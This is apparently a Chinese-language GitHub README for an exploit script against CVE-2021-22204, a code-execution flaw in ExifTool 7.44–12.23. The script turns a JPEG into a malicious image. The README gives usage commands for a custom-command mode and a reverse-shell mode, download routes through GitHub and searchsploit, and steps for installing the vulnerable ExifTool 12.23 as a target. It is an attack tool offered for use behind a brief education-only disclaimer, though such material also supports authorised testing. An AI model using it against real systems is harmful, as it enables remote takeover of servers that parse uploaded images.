
喜欢这个仓库?给我们点个 ⭐ 吧!
仅用于教育和授权安全研究目的。
@UNICORDev 由 (@NicPWNs 和 @Dev-Yeoj) 创作
ExifTool 7.44 及以上版本在解析恶意图像时,对 DjVu 文件格式中的用户数据中和不当,允许执行任意代码。
使用此漏洞利用程序生成 JPEG 图像载荷,与存在漏洞的 ExifTool 版本配合即可执行代码。你可以提供自定义命令,也可以生成反向 Shell。工具会自动生成 JPEG 图像;也可选择提供自定义 JPEG 图像,以便将载荷插入其中。
python3 exploit-CVE-2021-22204.py -c <command>
python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port>
python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>]
python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>]
python3 exploit-CVE-2021-22204.py -h
-c Custom command mode. Provide command to execute.
-s Reverse shell mode. Provide local IP and port.
-i Path to custom JPEG image. (Optional)
-h Show this help menu.
从 GitHub 下载 exploit-CVE-2021-22204.py
从 ExploitDB 下载 exploit-CVE-2021-22204.py
searchsploit -u
searchsploit -m 50911

Exiftool 版本 12.23
Exiftool 版本 7.44 - 12.23
wget https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
unzip exiftool-12.23.zip
cd exiftool-12.23
perl Makefile.PL
make test
sudo make install
exiftool -ver
exiftool image.jpg